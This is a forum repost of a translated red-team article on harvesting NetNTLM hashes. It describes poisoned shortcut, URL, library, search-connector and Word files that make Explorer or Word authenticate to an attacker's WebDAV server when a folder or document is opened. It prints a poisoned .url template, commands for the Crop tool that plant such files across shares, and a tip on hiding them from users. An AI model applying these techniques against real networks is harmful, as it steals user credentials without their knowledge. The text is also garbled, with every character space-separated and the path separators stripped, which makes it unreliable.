设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [22104] 2021-06-25_红队武器化方法之获取NetNTLM哈希 ...
返回列表 发新帖
查看: 0|回复: 0

[22104] 2021-06-25_红队武器化方法之获取NetNTLM哈希

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2021-06-25_红队武器化方法之获取NetNTLM哈希 红 队 武 器 化 方 法 之 获 取 N e t N T L M 哈 希 嘶 吼 专 业 版   L e m o n S e c   2 0 2 1 - 0 6 - 2 5 在 红 队 攻 击 中 ， 我 们 一 直 在 寻 找 用 于 横 向 移 动 和 特 权 提 升 的 创 新 方 法 。 在 我 们 所 处 的 许 多 环 境 中 ， 许 多 红 队 常 用 的 经 典 A c t i v e D i r e c t o r y 攻 击 并 不 能 很 好 地 解 决 ， 因 为 我 们 经 常 需 要 与 防 御 者 进 行 斗 争 。 传 统 内 部 渗 透 测 试 的 最 有 效 策 略 之 一 是 通 过 L L M N R 或 n e t b i o s 投 毒 来 收 集 或 中 继 N e t N T L M 哈 希 。 这 种 攻 击 已 得 到 很 好 的 理 解 和 广 泛 使 用 ， 其 中 包 括 @   b y t 3 b l 3 3 d 3 r 和 @   W 0 0 T o c k 提 供 的 大 量 资 源 。 除 了 L L M N R   /   n e t b i o s 投 毒 的 方 法 外 ， N e t N T L M 哈 希 的 收 集 不 仅 非 常 有 效 ， 而 且 在 大 型 环 境 中 也 很 难 检 测 到 。 虽 然 从 概 念 上 讲 这 是 一 条 非 常 强 大 的 攻 击 路 径 ， 但 很 少 有 人 能 有 效 地 将 其 武 器 化 用 于 红 队 攻 击 中 ， 在 这 种 情 况 下 ， 你 通 常 是 通 过 命 令 和 控 制 通 道 以 低 特 权 用 户 身 份 进 行 操 作 的 。 确 实 ， 到 目 前 为 止 ， 我 们 知 道 的 大 多 数 尝 试 都 需 要 管 理 权 限 和 / 或 已 安 装 驱 动 程 序 劫 持 4 4 5 上 的 通 信 。 先 前 工 作 的 一 些 示 例 包 括 ： ·   h t t p s : / / i j u s t w a n n a r e d . t e a m / 2 0 1 7 / 0 5 / 2 7 / r e s p o n d e r - a n d - l a y e r - 2 - p i v o t s / ·   h t t p s : / / d i a b l o h o r n . c o m / 2 0 1 8 / 0 8 / 2 5 / r e m o t e - n t l m - r e l a y i n g - t h r o u g h - m e t e r p r e t e r - o n - w i n d o w s - p o r t - 4 4 5 / ·   h t t p s : / / p k b 1 s . g i t h u b . i o / R e l a y - a t t a c k s - v i a - C o b a l t - S t r i k e - b e a c o n s / ·   h t t p s : / / g i t h u b . c o m / K e v i n - R o b e r t s o n / I n v e i g h 最 近 ， N C C   G r o u p 发 布 了 S i g w h a t e v e r ， 它 在 O u t l o o k 签 名 中 注 入 了 指 向 托 管 图 像 的 链 接 ， 从 而 强 制 通 过 H T T P 进 行 身 份 验 证 ， 从 而 为 目 标 内 部 鱼 叉 式 网 络 钓 鱼 提 供 了 一 个 有 趣 的 载 体 。 这 项 工 作 在 概 念 上 类 似 于 我 们 在 该 领 域 的 一 些 研 究 ， 并 且 已 经 改 变 了 游 戏 规 则 。 为 了 对 红 队 社 区 做 出 贡 献 ， 我 们 将 在 本 文 中 分 享 我 们 的 研 究 。 0 x 0 1   获 取 获 取 N e t N T L M 哈 希 哈 希 为 了 使 远 程 主 机 对 你 进 行 身 份 验 证 （ 例 如 ， 遵 循 U N C 路 径 的 结 果 ） ， 必 须 满 足 某 些 条 件 。 为 了 最 大 程 度 地 减 少 h a s h 散 布 到 I n t e r n e t 等 外 部 网 络 的 可 能 性 ， 你 的 系 统 必 须 位 于 “ 本 地 I n t r a n e t ” 域 内 。 当 你 已 经 在 目 标 内 部 网 络 上 立 足 时 ， 满 足 此 要 求 的 最 简 单 方 法 是 使 用 系 统 的 N e t B I O S 名 称 。 就 是 说 ， 如 果 你 在 W o r k s t a t i o n 1 . c o n t o s o . c o m 上 ， 则 应 在 U N C 路 径 中 使 用 w o r k s t a t i o n 1 将 其 强 制 进 入 本 地 I n t r a n e t 域 。 有 几 种 支 持 身 份 验 证 请 求 的 服 务 ， 而 且 正 如 我 们 前 面 已 经 提 到 的 那 样 ， 没 有 管 理 员 权 限 ， 从 S M B （ 4 4 5 ） 获 取 哈 希 值 并 非 易 事 ， 即 使 那 样 ， 从 O p S e c 的 角 度 来 看 ， 这 种 方 法 也 可 能 不 是 理 想 的 。 另 一 种 方 法 是 通 过 滥 用 W e b D A V 小 型 重 定 向 器 通 过 H T T P 进 行 。
分 布 式 创 作 和 版 本 控 制 （ D A V ） 是 H T T P 协 议 的 扩 展 ， 有 助 于 通 过 H T T P 进 行 文 件 共 享 。 W i n d o w s 使 用 W e b C l i e n t 服 务 来 实 现 W e b D A V ， 该 服 务 的 目 的 是 通 过 与 W i n d o w s 应 用 程 序 的 本 机 A P I 调 用 进 行 文 件 交 互 ， 它 被 视 为 远 程 文 件 系 统 。 这 样 做 的 好 处 是 ， 远 程 H T T P 服 务 器 可 以 在 任 何 端 口 上 运 行 ， 从 红 队 的 角 度 来 看 ， 它 提 供 了 灵 活 性 ， 并 允 许 我 们 避 免 处 理 已 经 绑 定 的 S M B 端 口 。 可 以 使 用 U N C 路 径 来 启 动 与 启 用 了 w o r k s t a t i o n 1 @ 8 0 8 0 m d s e c . p n g   W e b D A V 的 H T T P 服 务 器 连 接 。 当 对 启 用 了 W e b D A V 的 U N C 路 径 触 发 文 件 操 作 时 ， 身 份 验 证 主 机 将 执 行 以 下 操 作 ： 1 . 发 出 O P T I O N S 方 法 以 发 现 W e b 服 务 器 支 持 的 功 能 ， 2 . 如 果 支 持 P R O P F I N D ， 则 发 出 P R O P F I N D 请 求 方 法 以 发 现 目 录 结 构 ， 3 . 如 果 W e b 服 务 器 通 过 4 0 1   U n a u t h o r i z e d 响 应 并 通 过 W W W - A u t h e n t i c a t e 标 头 请 求 N T L M 身 份 验 证 ， 则 W e b D A V 小 型 重 定 向 器 将 继 续 启 动 N T L M 质 询 响 应 身 份 验 证 ， 最 终 将 N e t N T L M 哈 希 提 供 给 W e b 服 务 器 。 身 份 验 证 的 总 体 流 程 可 能 如 下 所 示 ： 为 了 模 仿 该 协 议 ， 我 们 创 建 了 一 个 简 单 的 基 于 . N E T 的 线 程 H T T P 服 务 器 ， 以 使 用 F a r m e r 工 具 来 处 理 身 份 验 证 请 求 。 F a r m e r 可 以 在 任 何 端 口 上 运 行 ， 并 将 从 任 何 传 入 的 连 接 中 恢 复 N e t N T L M 哈 希 ， 将 它 们 打 印 到 屏 幕 上 或 将 它 们 存 储 在 文 件 系 统 上 的 加 密 日 志 文 件 中 。 尽 管 此 版 本 当 前 不 支 持 ， 但 F a r m e r 也 可 以 扩 展 为 执 行 跨 协 议 中 继 ， 例 如 H T T P 到 S M B 。 当 然 ， 要 接 受 传 入 连 接 ， 你 可 能 需 要 绕 过 可 能 存 在 的 任 何 基 于 主 机 的 防 火 墙 。 但 是 ， 仔 细 查 看 W i n d o w s 防 火 墙 访 问 控 制 列 表 几 乎 总 是 通 过 白 名 单 进 程 或 端 口 （ s e a t b e l t . e x e   W i n d o w s F i r e w a l l ） 提 供 机 会 。 @ N i n j a P a r a n o i d 还 说 明 了 使 用 内 置 白 名 单 U R I 的 一 些 其 他 技 巧 ， 例 如 / T e m p o r a r y _ L i s t e n _ A d d r e s s e s / ， 在 绕 过 你 遇 到 的 防 火 墙 限 制 方 面 可 能 会 卓 有 成 效 。 F a r m e r 可 以 通 过 C 2 通 道 执 行 ， 仅 需 要 传 入 的 W e b D a v 连 接 即 可 恢 复 哈 希 值 ：
现 在 ， 我 们 已 经 概 述 了 如 何 收 集 哈 希 的 原 理 ， 让 我 们 探 索 一 些 诱 使 用 户 连 接 到 F a r m e r 服 务 器 的 途 径 。 0 x 0 2   攻 击 方 法 攻 击 方 法 为 了 开 始 收 集 N e t N T L M 哈 希 ， 我 们 需 要 强 制 使 用 以 对 F a r m e r 服 务 器 进 行 身 份 验 证 。 我 们 当 然 可 以 给 他 们 发 送 一 个 网 络 钓 鱼 ， 并 尝 试 对 其 进 行 社 工 以 单 击 U N C 路 径 ， 但 是 这 可 能 会 引 起 怀 疑 。 从 行 业 角 度 来 看 ， 如 果 我 们 在 用 户 不 知 情 的 情 况 下 强 制 进 行 身 份 验 证 ， 那 将 更 加 有 效 。 强 制 进 行 身 份 验 证 的 最 著 名 技 术 之 一 是 通 过 S C F 文 件 。 S C F 强 制 认 证 背 后 的 方 法 是 通 过 远 程 托 管 的 图 标 进 行 的 ， 当 资 源 管 理 器 对 其 进 行 解 析 时 ， 它 将 导 致 对 U N C 路 径 所 指 向 的 位 置 （ 在 我 们 的 示 例 中 为 F a r m e r   W e b D A V 服 务 ） 进 行 远 程 认 证 。 考 虑 到 这 一 点 ， 我 们 提 出 了 以 下 文 件 类 型 的 清 单 ， 这 些 清 单 可 能 会 用 于 攻 击 ： ·   W i n d o w s 快 捷 方 式 （ . l n k ） ·   网 址 文 件 （ . u r l ） ·   W i n d o w s 库 文 件 （ . l i b r a r y - m s ） ·   W i n d o w s 搜 索 连 接 器 （ . s e a r c h C o n n e c t o r - m s ） 让 我 们 更 详 细 地 探 讨 其 中 的 每 一 个 。 W i n d o w s   快 捷 方 式 快 捷 方 式 W i n d o w s 快 捷 方 式 文 件 本 身 可 以 指 向 U N C 路 径 ， 但 这 当 然 需 要 用 户 打 开 L N K 。 但 是 ， 在 L N K 文 件 格 式 中 有 一 个 称 为 “   i c o n   l o c a t i o n ” 的
字 符 串 值 ， 它 指 向 L N K 图 标 文 件 的 位 置 。 资 源 管 理 器 根 据 H a s I c o n L o c a t i o n 标 志 自 动 读 取 并 解 析 此 值 ； 如 果 存 在 ， 则 用 户 只 需 打 开 包 含 的 文 件 夹 即 可 强 制 进 行 身 份 验 证 。 我 们 可 以 使 用 “ 截 图 ” 工 具 创 建 一 个 带 有 图 标 位 置 的 L N K ， 该 图 标 位 置 指 向 我 们 的 F a r m e r   W e b D A V 服 务 器 。 使 用 L E C m d 解 析 L N K ， 我 们 可 以 验 证 L N K 是 否 具 有 H a s I c o n L o c a t i o n 标 志 ， 其 中 图 标 位 置 指 向 W e b D A V 共 享 ： 现 在 ， 任 何 打 开 包 含 L N K 的 文 件 夹 的 用 户 都 将 可 以 其 N e t N T L M 哈 希 发 送 到 F a r m e r 服 务 器 。 U R L   文 件 文 件 U R L 文 件 是 浏 览 器 的 快 捷 方 式 ， 可 用 于 打 开 U R L 。 就 像 L N K 一 样 ， U R L 文 件 可 以 包 含 一 个 图 标 以 显 示 该 文 件 。 通 过 在 路 径 中 指 定 环 境 变 量 来 打 开 包 含 文 件 夹 时 ， 可 以 强 制 资 源 管 理 器 从 U N C 路 径 中 检 索 图 标 ， 例 如 ： [ I n t e r n e t S h o r t c u t ] U R L = f a r m e r W o r k i n g D i r e c t o r y = f a r m e r I c o n F i l e = w o r k s t a t i o n @ 8 8 8 8 % U S E R N A M E % . i c o n I c o n I n d e x = 1 裁 剪 工 具 可 用 于 创 建 投 毒 的 U R L 文 件 ， 如 下 所 示 ： C r o p . e x e   f i l e s e r v e r c o m m o n   m d s e c . u r l   w o r k s t a t i o n @ 8 8 8 8 m d s e c . i c o
W i n d o w s   库 文 件 库 文 件 W i n d o w s 库 文 件 是 用 户 内 容 的 虚 拟 容 器 ， . l i b r a r y - m s 文 件 可 用 于 指 向 远 程 或 本 地 存 储 位 置 。 @ d t m s e c u r i t y 以 前 曾 研 究 过 这 些 文 件 的 使 用 方 法 ， 以 及 在 C I A   V a u l t 7 泄 漏 中 也 曾 讨 论 过 。 如 V a u l t   7 泄 漏 中 所 说 的 那 样 ， l i b r a r y - m s 文 件 的 S e a r c h C o n n e c t o r D e s c r i p t i o n 部 分 可 以 指 向 远 程 位 置 ， 这 将 在 打 开 容 器 文 件 夹 时 再 次 强 制 通 过 资 源 管 理 器 进 行 身 份 验 证 ： 裁 剪 工 具 可 用 于 创 建 投 毒 的 库 m s 文 件 ， 如 下 所 示 ： C r o p . e x e   f i l e s e r v e r c o m m o n   m d s e c . l i b r a r y - m s   w o r k s t a t i o n @ 8 8 8 8 m d s e c W i n d o w s   搜 索 连 接 器 搜 索 连 接 器 搜 索 连 接 器 文 件 用 于 将 用 户 与 存 储 在 远 程 位 置 的 数 据 连 接 起 来 ， 类 似 于 前 面 提 到 的 l i b r a r y - m s 文 件 。 搜 索 连 接 器 文 件 格 式 还 允 许 使 用 图 标 来 自 定 义 连 接 器 的 显 示 方 式 ， 可 以 使 用 i c o n R e f e r e n c e X M L 标 签 将 其 托 管 在 远 程 U R I （ 例 如 我 们 的 F a r m e r   W e b D A V 服 务 器 ） 上 ：
简 单 地 打 开 包 含 该 . s e a r c h C o n n e c t o r - m s 文 件 的 文 件 夹 将 再 次 迫 使 资 源 管 理 器 进 行 身 份 验 证 。 武 器 化 武 器 化 为 了 利 用 这 些 文 件 类 型 中 的 每 一 种 ， 我 们 创 建 了 一 个 额 外 的 工 具 （ 名 为 C r o p ） 。 C r o p 通 过 将 投 毒 文 件 写 入 操 作 员 控 制 的 位 置 （ 例 如 网 络 文 件 共 享 ） 来 工 作 ， 当 用 户 打 开 该 位 置 时 ， 资 源 管 理 器 将 尝 试 恢 复 该 文 件 类 型 的 图 标 文 件 并 触 发 身 份 验 证 。 应 该 注 意 的 是 ， 用 户 不 需 要 打 开 文 件 ， 他 们 只 需 要 打 开 包 含 文 件 夹 以 强 制 进 行 身 份 验 证 即 可 。 为 了 进 一 步 扩 大 成 果 ， 我 们 添 加 了 “ 递 归 ” 标 志 ， 该 标 志 将 在 父 级 中 任 何 可 写 的 子 文 件 夹 中 工 作 ， 并 删 除 投 毒 的 文 件 。 h t t p s : / / p l a y e r . v i m e o . c o m / v i d e o / 5 1 5 2 8 7 2 5 4 在 这 种 方 法 中 ， 我 们 当 然 会 创 建 各 种 新 文 件 来 强 制 进 行 身 份 验 证 ， 当 然 这 可 能 会 引 起 用 户 的 怀 疑 。 使 这 种 情 况 不 那 么 明 显 的 一 种 方 法 可 能 是 设 置 N T F S 隐 藏 属 性 以 从 资 源 管 理 器 中 对 其 进 行 屏 蔽 ， 这 可 以 在 . N E T 中 轻 松 完 成 ， 如 下 所 示 ： F i l e . S e t A t t r i b u t e s ( p a t h ,   F i l e A t t r i b u t e s . H i d d e n ) ; 我 们 描 述 的 方 法 依 赖 于 创 建 新 文 件 ， 在 某 些 情 况 下 ， 这 可 能 是 不 希 望 的 。 或 者 ， 我 们 可 能 希 望 毒 化 现 有 的 常 用 文 件 ， 以 便 在 重 新 打 开 它 们 时 可 以 强 制 进 行 身 份 验 证 。 企 业 最 常 用 的 文 件 类 型 之 一 是 O f f i c e 文 档 ， 并 且 经 常 看 到 这 些 文 件 散 布 在 文 件 共 享 中 。 为 了 投 毒 O f f i c e 文 档 ， 我 们 创 建 了 一 个 名 为 F e r t i l i s e r 的 附 加 工 具 。 通 过 获 取 现 有 的 W o r d   d o c x 并 通 过 注 入 指 向 我 们 的 远 程 W e b D A V 共 享 的 新 链 接 字 段 来 投 毒 它 。 通 过 在 域 代 码 中 设 置 “     a ” 指 令 ， 我 们 可 以 告 诉 W o r d 在 打 开 文 档 时 自 动 更 新 链 接 域 ： 当 用 户 打 开 文 档 时 ， 将 出 现 类 似 以 下 警 告 的 提 示 ： L I N K   E x c e l . S h e e t . 8   w o r k s t a t i o n 1 @ 8 8 8 8 m d s e c . p n g   a 但 是 ， 无 论 用 户 的 选 择 是 还 是 否 ， N e t N T L M 哈 希 仍 然 会 泄 漏 。 让 我 们 看 一 下 实 际 的 攻 击 效 果 ： h t t p s : / / p l a y e r . v i m e o . c o m / v i d e o / 5 1 5 2 8 7 3 9 8 当 然 ， 可 以 将 其 扩 展 到 其 他 O f f i c e 文 档 和 文 件 类 型 ， 以 扩 展 操 作 员 可 用 的 选 项 。
0 x 0 3   分 析 总 结 分 析 总 结 资 源 管 理 器 尝 试 加 载 图 标 文 件 时 ， 我 们 已 经 记 录 的 大 多 数 文 件 类 型 都 强 制 进 行 了 身 份 验 证 。 默 认 情 况 下 ， 资 源 管 理 器 配 置 为 在 网 络 文 件 夹 上 显 示 缩 略 图 和 图 标 ， 但 是 可 以 使 用 “   D i s a b l e T h u m b n a i l s O n N e t w o r k F o l d e r s ” 和 “   D i s a b l e T h u m b n a i l s ” 组 策 略 设 置 禁 用 此 行 为 。 启 用 这 些 设 置 将 阻 止 资 源 管 理 器 加 载 图 标 文 件 ， 从 而 限 制 了 该 技 术 的 使 用 范 围 。 但 是 ， 它 当 然 不 能 防 止 使 用 链 接 字 段 使 O f f i c e 文 档 投 毒 。 在 许 多 潜 在 领 域 中 ， 可 以 改 进 此 工 具 和 方 法 ， 其 中 一 些 仍 在 我 们 的 研 究 范 围 内 。 首 先 ， 可 能 还 有 其 他 文 件 类 型 ， 其 中 一 些 可 能 不 会 因 禁 用 网 络 共 享 中 的 图 标 加 载 而 受 到 影 响 ； 此 外 ， 其 他 O f f i c e 文 档 （ 例 如 E x c e l 和 P o w e r P o i n t 文 件 ） 无 疑 容 易 受 到 字 段 链 接 或 类 似 的 远 程 资 源 注 入 的 影 响 ， 并 且 是 扩 展 F e r t i l i s e r 的 良 好 选 择 。 最 后 ， 通 过 引 入 跨 协 议 中 继 （ 例 如 从 H T T P 到 S M B 或 L D A P ） ， 可 以 显 着 增 强 该 技 术 的 影 响 。 可 在 M D S e c   A c t i v e B r e a c h   g i t h u b 上 找 到 F a r m e r 工 具 箱 的 源 代 码 。 参 考 及 来 源 ： h t t p s : / / w w w . m d s e c . c o . u k / 2 0 2 1 / 0 2 / f a r m i n g - f o r - r e d - t e a m s - h a r v e s t i n g - n e t n t l m / 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 关 注 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:43 , Processed in 0.368873 second(s), 31 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表